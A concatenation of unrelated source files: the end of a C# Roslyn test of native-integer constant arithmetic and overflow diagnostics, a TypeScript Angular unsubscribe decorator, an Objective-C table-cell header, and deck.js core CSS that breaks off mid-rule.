unaryOperator("nuint", "-", uintMaxValue, null, getBadUnaryOpDiagnostics);
unaryOperatorNotConstant("nint", "~", "0", "-1");
unaryOperatorNotConstant("nint", "~", "-1", "0");
unaryOperatorNotConstant("nint", "~", intMinValue, "2147483647");
unaryOperatorNotConstant("nint", "~", intMaxValue, "-2147483648");
unaryOperatorNotConstant("nuint", "~", "0", IntPtr.Size == 4 ? uintMaxValue : ulongMaxValue);
unaryOperatorNotConstant("nuint", "~", uintMaxValue, IntPtr.Size == 4 ? "0" : "18446744069414584320");
binaryOperatorCheckedOverflow("nint", "+", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "2147483647" : "-2147483649");
binaryOperator("nint", "+", "nint", "-2147483647", "nint", "-1", intMinValue);
binaryOperatorCheckedOverflow("nint", "+", "nint", "1", "nint", intMaxValue, IntPtr.Size == 4 ? "-2147483648" : "2147483648");
binaryOperator("nint", "+", "nint", "1", "nint", "2147483646", intMaxValue);
binaryOperatorCheckedOverflow("nuint", "+", "nuint", "1", "nuint", uintMaxValue, IntPtr.Size == 4 ? "0" : "4294967296");
binaryOperator("nuint", "+", "nuint", "1", "nuint", "4294967294", uintMaxValue);
binaryOperatorCheckedOverflow("nint", "-", "nint", intMinValue, "nint", "1", IntPtr.Size == 4 ? "2147483647" : "-2147483649");
binaryOperator("nint", "-", "nint", intMinValue, "nint", "-1", "-2147483647");
binaryOperator("nint", "-", "nint", "-1", "nint", intMaxValue, intMinValue);
binaryOperatorCheckedOverflow("nint", "-", "nint", "-2", "nint", intMaxValue, IntPtr.Size == 4 ? "2147483647" : "-2147483649");
binaryOperatorCheckedOverflow("nuint", "-", "nuint", "0", "nuint", "1", IntPtr.Size == 4 ? uintMaxValue : ulongMaxValue);
binaryOperator("nuint", "-", "nuint", uintMaxValue, "nuint", uintMaxValue, "0");
binaryOperatorCheckedOverflow("nint", "*", "nint", intMinValue, "nint", "2", IntPtr.Size == 4 ? "0" : "-4294967296");
binaryOperatorCheckedOverflow("nint", "*", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "-2147483648" : "2147483648");
binaryOperator("nint", "*", "nint", "-1", "nint", intMaxValue, "-2147483647");
binaryOperatorCheckedOverflow("nint", "*", "nint", "2", "nint", intMaxValue, IntPtr.Size == 4 ? "-2" : "4294967294");
binaryOperatorCheckedOverflow("nuint", "*", "nuint", uintMaxValue, "nuint", "2", IntPtr.Size == 4 ? "4294967294" : "8589934590");
binaryOperator("nuint", "*", "nuint", intMaxValue, "nuint", "2", "4294967294");
binaryOperator("nint", "/", "nint", intMinValue, "nint", "1", intMinValue);
binaryOperatorCheckedOverflow("nint", "/", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "System.OverflowException" : "2147483648");
binaryOperator("nint", "/", "nint", "1", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nint", "/", "nint", "0", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "/", "nuint", uintMaxValue, "nuint", "1", uintMaxValue);
binaryOperator("nuint", "/", "nuint", uintMaxValue, "nuint", "2", intMaxValue);
binaryOperator("nuint", "/", "nuint", "1", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "/", "nuint", "0", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nint", "%", "nint", intMinValue, "nint", "2", "0");
binaryOperator("nint", "%", "nint", intMinValue, "nint", "-2", "0");
binaryOperatorCheckedOverflow("nint", "%", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "System.OverflowException" : "0");
binaryOperator("nint", "%", "nint", "1", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nint", "%", "nint", "0", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "%", "nuint", uintMaxValue, "nuint", "1", "0");
binaryOperator("nuint", "%", "nuint", uintMaxValue, "nuint", "2", "1");
binaryOperator("nuint", "%", "nuint", "1", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "%", "nuint", "0", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("bool", "<", "nint", intMinValue, "nint", intMinValue, "False");
binaryOperator("bool", "<", "nint", intMinValue, "nint", intMaxValue, "True");
binaryOperator("bool", "<", "nint", intMaxValue, "nint", intMaxValue, "False");
binaryOperator("bool", "<", "nuint", "0", "nuint", "0", "False");
binaryOperator("bool", "<", "nuint", "0", "nuint", uintMaxValue, "True");
binaryOperator("bool", "<", "nuint", uintMaxValue, "nuint", uintMaxValue, "False");
binaryOperator("bool", "<=", "nint", intMinValue, "nint", intMinValue, "True");
binaryOperator("bool", "<=", "nint", intMaxValue, "nint", intMinValue, "False");
binaryOperator("bool", "<=", "nint", intMaxValue, "nint", intMaxValue, "True");
binaryOperator("bool", "<=", "nuint", "0", "nuint", "0", "True");
binaryOperator("bool", "<=", "nuint", uintMaxValue, "nuint", "0", "False");
binaryOperator("bool", "<=", "nuint", uintMaxValue, "nuint", uintMaxValue, "True");
binaryOperator("bool", ">", "nint", intMinValue, "nint", intMinValue, "False");
binaryOperator("bool", ">", "nint", intMaxValue, "nint", intMinValue, "True");
binaryOperator("bool", ">", "nint", intMaxValue, "nint", intMaxValue, "False");
binaryOperator("bool", ">", "nuint", "0", "nuint", "0", "False");
binaryOperator("bool", ">", "nuint", uintMaxValue, "nuint", "0", "True");
binaryOperator("bool", ">", "nuint", uintMaxValue, "nuint", uintMaxValue, "False");
binaryOperator("bool", ">=", "nint", intMinValue, "nint", intMinValue, "True");
binaryOperator("bool", ">=", "nint", intMinValue, "nint", intMaxValue, "False");
binaryOperator("bool", ">=", "nint", intMaxValue, "nint", intMaxValue, "True");
binaryOperator("bool", ">=", "nuint", "0", "nuint", "0", "True");
binaryOperator("bool", ">=", "nuint", "0", "nuint", uintMaxValue, "False");
binaryOperator("bool", ">=", "nuint", uintMaxValue, "nuint", uintMaxValue, "True");
binaryOperator("bool", "==", "nint", intMinValue, "nint", intMinValue, "True");
binaryOperator("bool", "==", "nint", intMinValue, "nint", intMaxValue, "False");
binaryOperator("bool", "==", "nint", intMaxValue, "nint", intMaxValue, "True");
binaryOperator("bool", "==", "nuint", "0", "nuint", "0", "True");
binaryOperator("bool", "==", "nuint", "0", "nuint", uintMaxValue, "False");
binaryOperator("bool", "==", "nuint", uintMaxValue, "nuint", uintMaxValue, "True");
binaryOperator("bool", "!=", "nint", intMinValue, "nint", intMinValue, "False");
binaryOperator("bool", "!=", "nint", intMinValue, "nint", intMaxValue, "True");
binaryOperator("bool", "!=", "nint", intMaxValue, "nint", intMaxValue, "False");
binaryOperator("bool", "!=", "nuint", "0", "nuint", "0", "False");
binaryOperator("bool", "!=", "nuint", "0", "nuint", uintMaxValue, "True");
binaryOperator("bool", "!=", "nuint", uintMaxValue, "nuint", uintMaxValue, "False");
// https://github.com/dotnet/roslyn/issues/42460: Results of `<<` should be dependent on platform.
binaryOperator("nint", "<<", "nint", intMinValue, "int", "0", intMinValue);
binaryOperator("nint", "<<", "nint", intMinValue, "int", "1", "0");
binaryOperator("nint", "<<", "nint", "-1", "int", "31", intMinValue);
binaryOperator("nint", "<<", "nint", "-1", "int", "32", "-1");
binaryOperator("nuint", "<<", "nuint", "0", "int", "1", "0");
binaryOperator("nuint", "<<", "nuint", uintMaxValue, "int", "1", "4294967294");
binaryOperator("nuint", "<<", "nuint", "1", "int", "31", "2147483648");
binaryOperator("nuint", "<<", "nuint", "1", "int", "32", "1");
binaryOperator("nint", ">>", "nint", intMinValue, "int", "0", intMinValue);
binaryOperator("nint", ">>", "nint", intMinValue, "int", "1", "-1073741824");
binaryOperator("nint", ">>", "nint", "-1", "int", "31", "-1");
binaryOperator("nint", ">>", "nint", "-1", "int", "32", "-1");
binaryOperator("nuint", ">>", "nuint", "0", "int", "1", "0");
binaryOperator("nuint", ">>", "nuint", uintMaxValue, "int", "1", intMaxValue);
binaryOperator("nuint", ">>", "nuint", "1", "int", "31", "0");
binaryOperator("nuint", ">>", "nuint", "1", "int", "32", "1");
binaryOperator("nint", "&", "nint", intMinValue, "nint", "0", "0");
binaryOperator("nint", "&", "nint", intMinValue, "nint", "-1", intMinValue);
binaryOperator("nint", "&", "nint", intMinValue, "nint", intMaxValue, "0");
binaryOperator("nuint", "&", "nuint", "0", "nuint", uintMaxValue, "0");
binaryOperator("nuint", "&", "nuint", intMaxValue, "nuint", uintMaxValue, intMaxValue);
binaryOperator("nuint", "&", "nuint", intMaxValue, "nuint", "2147483648", "0");
binaryOperator("nint", "|", "nint", intMinValue, "nint", "0", intMinValue);
binaryOperator("nint", "|", "nint", intMinValue, "nint", "-1", "-1");
binaryOperator("nint", "|", "nint", intMaxValue, "nint", intMaxValue, intMaxValue);
binaryOperator("nuint", "|", "nuint", "0", "nuint", uintMaxValue, uintMaxValue);
binaryOperator("nuint", "|", "nuint", intMaxValue, "nuint", intMaxValue, intMaxValue);
binaryOperator("nuint", "|", "nuint", intMaxValue, "nuint", "2147483648", uintMaxValue);
binaryOperator("nint", "^", "nint", intMinValue, "nint", "0", intMinValue);
binaryOperator("nint", "^", "nint", intMinValue, "nint", "-1", intMaxValue);
binaryOperator("nint", "^", "nint", intMaxValue, "nint", intMaxValue, "0");
binaryOperator("nuint", "^", "nuint", "0", "nuint", uintMaxValue, uintMaxValue);
binaryOperator("nuint", "^", "nuint", intMaxValue, "nuint", intMaxValue, "0");
binaryOperator("nuint", "^", "nuint", intMaxValue, "nuint", "2147483648", uintMaxValue);
static DiagnosticDescription[] getNoDiagnostics(string opType, string op, string operand) => Array.Empty<DiagnosticDescription>();
static DiagnosticDescription[] getBadUnaryOpDiagnostics(string opType, string op, string operand) => new[] { Diagnostic(ErrorCode.ERR_BadUnaryOp, operand).WithArguments(op, opType) };
static DiagnosticDescription[] getIntDivByZeroDiagnostics(string opType, string op, string operand) => new[] { Diagnostic(ErrorCode.ERR_IntDivByZero, operand) };
void unaryOperator(string opType, string op, string operand, string expectedResult, Func<string, string, string, DiagnosticDescription[]> getDiagnostics = null)
{
getDiagnostics ??= getNoDiagnostics;
var declarations = $"const {opType} A = {operand};";
var expr = $"{op}A";
var diagnostics = getDiagnostics(opType, op, expr);
constantDeclaration(opType, declarations, expr, expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"checked({expr})", expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"unchecked({expr})", expectedResult, diagnostics);
expr = $"{op}({opType})({operand})";
diagnostics = getDiagnostics(opType, op, expr);
constantExpression(opType, expr, expectedResult, diagnostics);
constantExpression(opType, $"checked({expr})", expectedResult, diagnostics);
constantExpression(opType, $"unchecked({expr})", expectedResult, diagnostics);
}
void unaryOperatorCheckedOverflow(string opType, string op, string operand, string expectedResult)
{
var declarations = $"const {opType} A = {operand};";
var expr = $"{op}A";
constantDeclaration(opType, declarations, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"unchecked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"unchecked({expr})").WithArguments("Library.F") });
expr = $"{op}({opType})({operand})";
constantExpression(opType, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"unchecked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
}
void unaryOperatorNotConstant(string opType, string op, string operand, string expectedResult)
{
var declarations = $"const {opType} A = {operand};";
var expr = $"{op}A";
constantDeclaration(opType, declarations, expr, null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, expr).WithArguments("Library.F") });
constantDeclaration(opType, declarations, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"checked({expr})").WithArguments("Library.F") });
constantDeclaration(opType, declarations, $"unchecked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"unchecked({expr})").WithArguments("Library.F") });
expr = $"{op}({opType})({operand})";
constantExpression(opType, expr, expectedResult, Array.Empty<DiagnosticDescription>());
constantExpression(opType, $"checked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
constantExpression(opType, $"unchecked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
}
void binaryOperator(string opType, string op, string leftType, string leftOperand, string rightType, string rightOperand, string expectedResult, Func<string, string, string, DiagnosticDescription[]> getDiagnostics = null)
{
getDiagnostics ??= getNoDiagnostics;
var declarations = $"const {leftType} A = {leftOperand}; const {rightType} B = {rightOperand};";
var expr = $"A {op} B";
var diagnostics = getDiagnostics(opType, op, expr);
constantDeclaration(opType, declarations, expr, expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"checked({expr})", expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"unchecked({expr})", expectedResult, diagnostics);
expr = $"(({leftType})({leftOperand})) {op} (({rightType})({rightOperand}))";
diagnostics = getDiagnostics(opType, op, expr);
constantExpression(opType, expr, expectedResult, diagnostics);
constantExpression(opType, $"checked({expr})", expectedResult, diagnostics);
constantExpression(opType, $"unchecked({expr})", expectedResult, diagnostics);
}
void binaryOperatorCheckedOverflow(string opType, string op, string leftType, string leftOperand, string rightType, string rightOperand, string expectedResult)
{
var declarations = $"const {leftType} A = {leftOperand}; const {rightType} B = {rightOperand};";
var expr = $"A {op} B";
constantDeclaration(opType, declarations, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"unchecked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"unchecked({expr})").WithArguments("Library.F") });
expr = $"(({leftType})({leftOperand})) {op} (({rightType})({rightOperand}))";
constantExpression(opType, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"unchecked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
}
void constantDeclaration(string opType, string declarations, string expr, string expectedResult, DiagnosticDescription[] expectedDiagnostics)
{
string sourceA =
$@"public class Library
{{
{declarations}
public const {opType} F = {expr};
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
if (expectedDiagnostics.Length > 0) return;
string sourceB =
@"class Program
{
static void Main()
{
System.Console.WriteLine(Library.F);
}
}";
var refA = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { refA }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedResult);
}
// https://github.com/dotnet/csharplang/issues/3259: Should ERR_CheckedOverflow cases be evaluated
// at runtime rather than compile time to allow operations to succeed on 64-bit platforms?
void constantExpression(string opType, string expr, string expectedResult, DiagnosticDescription[] expectedDiagnostics)
{
string source =
$@"using System;
class Program
{{
static void Main()
{{
object result;
try
{{
{opType} value = {expr};
result = value;
}}
catch (Exception e)
{{
result = e.GetType().FullName;
}}
Console.WriteLine(result);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
if (expectedDiagnostics.Length > 0) return;
CompileAndVerify(comp, expectedOutput: expectedResult);
}
}
// OverflowException behavior is consistent with unchecked int division.
[Fact]
public void UncheckedIntegerDivision()
{
string source =
@"using System;
class Program
{
static void Main()
{
Console.WriteLine(Execute(() => IntDivision(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => IntDivision(int.MinValue, -1)));
Console.WriteLine(Execute(() => IntRemainder(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => IntRemainder(int.MinValue, -1)));
Console.WriteLine(Execute(() => NativeIntDivision(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => NativeIntDivision(int.MinValue, -1)));
Console.WriteLine(Execute(() => NativeIntRemainder(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => NativeIntRemainder(int.MinValue, -1)));
}
static object Execute(Func<object> f)
{
try
{
return f();
}
catch (Exception e)
{
return e.GetType().FullName;
}
}
static int IntDivision(int x, int y) => unchecked(x / y);
static int IntRemainder(int x, int y) => unchecked(x % y);
static nint NativeIntDivision(nint x, nint y) => unchecked(x / y);
static nint NativeIntRemainder(nint x, nint y) => unchecked(x % y);
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput:
$@"2147483647
System.OverflowException
0
System.OverflowException
2147483647
{(IntPtr.Size == 4 ? "System.OverflowException" : "2147483648")}
0
{(IntPtr.Size == 4 ? "System.OverflowException" : "0")}");
}
}
}
|
import { Subscription } from 'rxjs/Subscription';
import * as _ from 'lodash-es';
import { ObservablesInterface } from './ngx-reactive-decorator.interface';
export const unsubscribeOnDestroy = function (target: any, observables?: ObservablesInterface): void {
// Original ngOnDestroy
const ngOnDestroy = target.prototype.ngOnDestroy;
// Add unsubscribe.
target.prototype.ngOnDestroy = function () {
if (observables === undefined) {
_.each(this, (subscription: Subscription) => {
// Find properties in component and search for subscription instance.
if (subscription instanceof Subscription && subscription.closed === false) {
subscription.unsubscribe();
}
});
} else {
_.each(this, (subscription: Subscription, key: string) => {
_.each(observables, (observableName: string) => {
if (key.includes(observableName)) {
if (subscription instanceof Subscription && subscription.closed === false) {
subscription.unsubscribe();
}
}
});
});
}
if (ngOnDestroy !== undefined) {
ngOnDestroy.apply(this, arguments);
}
};
}
|
//
// DemoCell.h
// SwpCateGoryDemo
//
// Created by swp_song on 2017/6/20.
// Copyright © 2017年 swp-song. All rights reserved.
//
#import <UIKit/UIKit.h>
@class DemoModel;
NS_ASSUME_NONNULL_BEGIN
@interface DemoCell : UITableViewCell
/**!
* @author swp_song
*
* @brief demoCellWihtTableView:forCellReuseIdentifier: ( 快速初始化一个 Cell )
*
* @param tableView tableView
*
* @param identifier identifier
*
* @return UITableViewCell
*/
+ (instancetype)demoCellWihtTableView:(UITableView *)tableView forCellReuseIdentifier:(NSString *)identifier;
/**!
* @author swp_song
*
* @brief demoCellInit ( 快速初始化一个 Cell )
*/
+ (__kindof DemoCell * _Nonnull (^)(UITableView * _Nonnull, NSString * _Nonnull))demoCellInit;
/**!
* @author swp_song
*
* @brief demo ( 设置数据 )
*/
- (DemoCell * _Nonnull (^)(DemoModel * _Nonnull))demo;
@end
NS_ASSUME_NONNULL_END
|
/* line 1, ../sass/deck.core.scss */
html, body {
height: 100%;
padding: 0;
margin: 0;
}
/* line 7, ../sass/deck.core.scss */
body.deck-container {
overflow-y: auto;
position: static;
}
/* line 12, ../sass/deck.core.scss */
.deck-container {
position: relative;
min-height: 100%;
margin: 0 auto;
padding: 0 48px;
font-size: 16px;
line-height: 1.25;
overflow: hidden;
/* Resets and base styles from HTML5 Boilerplate */
/* End HTML5 Boilerplate adaptations */
}
/* line 21, ../sass/deck.core.scss */
.js .deck-container {
visibility: hidden;
}
/* line 25, ../sass/deck.core.scss */
.ready .deck-container {
visibility: visible;
}
/* line 29, ../sass/deck.core.scss */
.touch .deck-container {
-webkit-text-size-adjust: none;
-moz-text-size-adjust: none;
}
/* line 43, ../sass/deck.core.scss */
.deck-container div, .deck-container span, .deck-container object, .deck-container iframe,
.deck-container h1, .deck-container h2, .deck-container h3, .deck-container h4, .deck-container h5, .deck-container h6, .deck-container p, .deck-container blockquote, .deck-container pre,
.deck-container abbr, .deck-container address, .deck-container cite, .deck-container code, .deck-container del, .deck-container dfn, .deck-container em, .deck-container img, .deck-container ins, .deck-container kbd, .deck-container q, .deck-container samp,
.deck-container small, .deck-container strong, .deck-container sub, .deck-container sup, .deck-container var, .deck-container b, .deck-container i, .deck-container dl, .deck-container dt, .deck-container dd, .deck-container ol, .deck-container ul, .deck-container li,
.deck-container fieldset, .deck-container form, .deck-container label, .deck-container legend,
.deck-container table, .deck-container caption, .deck-container tbody, .deck-container tfoot, .deck-container thead, .deck-container tr, .deck-container th, .deck-container td,
.deck-container article, .deck-container aside, .deck-container canvas, .deck-container details, .deck-container figcaption, .deck-container figure,
.deck-container footer, .deck-container header, .deck-container hgroup, .deck-container menu, .deck-container nav, .deck-container section, .deck-container summary,
.deck-container time, .deck-container mark, .deck-container audio, .deck-container video {
margin: 0;
padding: 0;
border: 0;
font-size: 100%;
font: inherit;
vertical-align: baseline;
}
/* line 53, ../sass/deck.core.scss */
.deck-container article, .deck-container aside, .deck-container details, .deck-container figcaption, .deck-container figure,
.deck-container footer, .deck-container header, .deck-container hgroup, .deck-container menu, .deck-container nav, .deck-container section {
display: block;
}
/* line 57, ../sass/deck.core.scss */
.deck-container blockquote, .deck-container q {
quotes: none;
}
/* line 60, ../sass/deck.core.scss */
.deck-container blockquote:before, .deck-container blockquote:after, .deck-container q:before, .deck-container q:after {
content: "";
content: none;
}
/* line 66, ../sass/deck.core.scss */
.deck-container ins {
background-color: #ff9;
color: #000;
text-decoration: none;
}
/* line 72, ../sass/deck.core.scss */
.deck-container mark {
background-color: #ff9;
color: #000;
font-style: italic;
font-weight: bold;
}
/* line 79, ../sass/deck.core.scss */
.deck-container del {
text-decoration: line-through;
}
/* line 83, ../sass/deck.core.scss */
.deck-container abbr[title], .deck-container dfn[title] {
border-bottom: 1px dotted;
cursor: help;
}
/* line 88, ../sass/deck.core.scss */
.deck-container table {
border-collapse: collapse;
border-spacing: 0;
}
/* line 93, ../sass/deck.core.scss */
.deck-container hr {
display: block;
height: 1px;
border: 0;
border-top: 1px solid #ccc;
margin: 1em 0;
padding: 0;
}
/* line 102, ../sass/deck.core.scss */
.deck-container input, .deck-container select {
vertical-align: middle;
}
/* line 106, ../sass/deck.core.scss */
.deck-container select, .deck-container input, .deck-container textarea, .deck-container button {
font: 99% sans-serif;
}
/* line 110, ../sass/deck.core.scss */
.deck-container pre, .deck-container code, .deck-container kbd, .deck-container samp {
font-family: monospace, sans-serif;
}
/* line 114, ../sass/deck.core.scss */
.deck-container a {
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}
/* line 117, ../sass/deck.core.scss */
.deck-container a:hover, .deck-container a:active {
outline: none;
}
/* line 122, ../sass/deck.core.scss */
.deck-container ul, .deck-container ol {
margin-left: 2em;
vertical-align: top;
}
/* line 127, ../sass/deck.core.scss */
.deck-container ol {
list-style-type: decimal;
}
/* line 132, ../sass/deck.core.scss */
.deck-container nav ul, .deck-container nav li {
margin: 0;
list-style: none;
list-style-image: none;
}
/* line 139, ../sass/deck.core.scss */
.deck-container small {
font-size: 85%;
}
/* line 143, ../sass/deck.core.scss */
.deck-container strong, .deck-container th {
font-weight: bold;
}
/* line 147, ../sass/deck.core.scss */
.deck-container td {
vertical-align: top;
}
/* line 151, ../sass/deck.core.scss */
.deck-container sub, .deck-container sup {
font-size: 75%;
line-height: 0;
position: relative;
}
/* line 157, ../sass/deck.core.scss */
.deck-container sup {
top: -0.5em;
}
/* line 161, ../sass/deck.core.scss */
.deck-container sub {
bottom: -0.25em;
}
/* line 163, ../sass/deck.core.scss */
.deck-container textarea {
overflow: auto;
}
/* line 168, ../sass/deck.core.scss */
.ie6 .deck-container legend, .ie7 .deck-container legend {
margin-left: -7px;
}
/* line 173, ../sass/deck.core.scss */
.deck-container input[type="radio"] {
vertical-align: text-bottom;
}
/* line 177, ../sass/deck.core.scss */
.deck-container input[type="checkbox"] {
vertical-align: bottom;
}
/* line 181, ../sass/deck.core.scss */
.ie7 .deck-container input[type="checkbox"] {
vertical-align: baseline;
}
/* line 185, ../sass/deck.core.scss */
.ie6 .deck-container input {
vertical-align: text-bottom;
}
/* line 189, ../sass/deck.core.scss */
.deck-container label, .deck-container input[type="button"], .deck-container input[type="submit"], .deck-container input[type="image"], .deck-container button {
cursor: pointer;
}
/* line 193, ../sass/deck.core.scss */
.deck-container button, .deck-container input, .deck-container select, .deck-container textarea {
margin: 0;
}
/* line 198, ../sass/deck.core.scss */
.deck-container input:invalid, .deck-container textarea:invalid {
border-radius: 1px;
-moz-box-shadow: 0px 0px 5px red;
-webkit-box-shadow: 0px 0px 5px red;
box-shadow: 0px 0px 5px red;
}
/* line 204, ../sass/deck.core.scss */
.deck-container input:invalid .no-boxshadow, .deck-container textarea:invalid .no-boxshadow {
background-color: #f0dddd;
}
/* line 210, ../sass/deck.core.scss */
.deck-container button {
width: auto;
overflow: visible;
}
/* line 215, ../sass/deck.core.scss */
.ie7 .deck-container img {
-ms-interpolation-mode: bicubic;
}
/* line 218, ../sass/deck.core.scss */
.deck-container, .deck-container select, .deck-container input, .deck-container textarea {
color: #444;
}
/* line 222, ../sass/deck.core.scss */
.deck-container a {
color: #607890;
}
/* line 225, ../sass/deck.core.scss */
.deck-container a:hover, .deck-container a:focus {
color: #036;
}
/* line 229, ../sass/deck.core.scss */
.deck-container a:link {
-webkit-tap-highlight-color: #fff;
}
/* line 235, ../sass/deck.core.scss */
.deck-container.deck-loading {
display: none;
}
/* line 240, ../sass/deck.core.scss */
.slide {
width: auto;
min-height: 100%;
position: relative;
}
/* line 245, ../sass/deck.core.scss */
.slide h1 {
font-size: 4.5em;
}
/* line 249, ../sass/deck.core.scss */
.slide h1, .slide .vcenter {
font-weight: bold;
text-align: center;
padding-top: 1em;
max-height: 100%;
}
/* line 255, ../sass/deck.core.scss */
.csstransforms .slide h1, .csstransforms .slide .vcenter {
padding: 0 48px;
position: absolute;
left: 0;
right: 0;
top: 50%;
-webkit-transform: translate(0, -50%);
-moz-transform: translate(0, -50%);
-ms-transform: translate(0, -50%);
-o-transform: translate(0, -50%);
transform: translate(0, -50%);
}
/* line 269, ../sass/deck.core.scss */
.slide .vcenter h1 {
position: relative;
top: auto;
padding: 0;
-webkit-transform: none;
-moz-transform: none;
-ms-transform: none;
-o-transform: none;
transform: none;
}
/* line 280, ../sass/deck.core.scss */
.slide h2 {
font-size: 2.25em;
font-weight: bold;
padding-top: .5em;
margin: 0 0 .66666em 0;
border-bottom: 3px solid #888;
}
/* line 288, ../sass/deck.core.scss */
.slide h3 {
font-size: 1.4375em;
font-weight: bold;
margin-bottom: .30435em;
}
/* line 294, ../sass/deck.core.scss */
.slide h4 {
font-size: 1.25em;
font-weight: bold;
margin-bottom: .25em;
}
/* line 300, ../sass/deck.core.scss */
.slide h5 {
font-size: 1.125em;
font-weight: bold;
margin-bottom: .2222em;
}
/* line 306, ../sass/deck.core.scss */
.slide h6 {
font-size: 1em;
font-weight: bold;
}
/* line 311, ../sass/deck.core.scss */
.slide img, .slide iframe, .slide video {
display: block;
max-width: 100%;
}
/* line 316, ../sass/deck.core.scss */
.slide video, .slide iframe, .slide img {
display: block;
margin: 0 auto;
}
/* line 321, ../sass/deck.core.scss */
.slide p, .slide blockquote, .slide iframe, .slide img, .slide ul, .slide ol, .slide pre, .slide video {
margin-bottom: 1em;
}
/* line 325, ../sass/deck.core.scss */
.slide pre {
white-space: pre;
white-space: pre-wrap;
word-wrap: break-word;
padding: 1em;
border: 1px solid #888;
}
/* line 333, ../sass/deck.core.scss */
.slide em {
font-style: italic;
}
/* line 337, ../sass/deck.core.scss */
.slide li {
padding: .25em 0;
vertical-align: middle;
}
/* line 343, ../sass/deck.core.scss */
.deck-before, .deck-previous, .deck-next, .deck-after {
position: absolute;
left: -999em;
top: -999em;
}
/* line 349, ../sass/deck.core.scss */
.deck-current {
z-index: 2;
}
/* line 353, ../sass/deck.core.scss */
.slide .slide {
visibility: hidden;
position: static;
min-height: 0;
}
/* line 359, ../sass/deck.core.scss */
.deck-child-current {
position: static;
z-index: 2;
}
/* line 363, ../sass/deck.core.scss */
.deck-child-current .slide {
visibility: hidden;
}
/* line 367, ../sass/deck.core.scss */
.deck-child-current .deck-previous, .deck-child-current .deck-before, .deck-child-current .deck-current {
visibility: visible;
}
@media screen and (max-device-width: 480px) {
/* html { -webkit-text-size-adjust:none; -ms-text-size-adjust:none; } */
}
@media print {
/* line 387, ../sass/deck.core.scss */
* {
background: transparent !important;
color: black !important;
text-shadow: none !important;
filter: none !important;
-ms-filter: none !important;
-webkit-box-reflect: none !important;
-moz-box-reflect: none !important;
-webkit-box-shadow: none !important;
-moz-box-shadow: none !important;
box-shadow: none !important;
}
/* line 399, ../sass/deck.core.scss */
* :before, * :after {
display: none !important;
}
/* line 403, ../sass/deck.core.scss */
a, a:visited {
color: #444 !important;
text-decoration: underline;
}
/* line 404, ../sass/deck.core.scss */
a[href]:after {
content: " (" attr(href) ")";
}
/* line 405, ../sass/deck.core.scss */
abbr[title]:after {
content: " (" attr(title) ")";
}
/* line 406, ../sass/deck.core.scss */
.ir a:after, a[href^="javascript:"]:after, a[href^="#"]:after {
content: "";
}
/* line 407, ../sass/deck.core.scss */
pre, blockquote {
border: 1px solid #999;
page-break-inside: avoid;
}
/* line 408, ../sass/deck.core.scss */
thead {
display: table-header-group;
}
/* line 409, ../sass/deck.core.scss */
tr, img {
page-break-inside: avoid;
}
@page {
margin: 0.5cm;
}
/* line 411, ../sass/deck.core.scss */
p, h2, h3 {
orphans: 3;
widows: 3;
}
/* line 412, ../sass/deck.core.scss */
h2, h3 {
page-break-after: avoid;
}
/* line 414, ../sass/deck.core.scss */
.slide {
position: static !important;
visibility: visible !important;
display: block !important;
-webkit-transform: none !important;
-moz-transform: none !important;
-o-transform: none !important;
-ms-transform: none !important;
transform: none !important;
opacity: 1 !important;
}
/* line 426, ../sass/deck.core.scss */
h1, .vcenter {
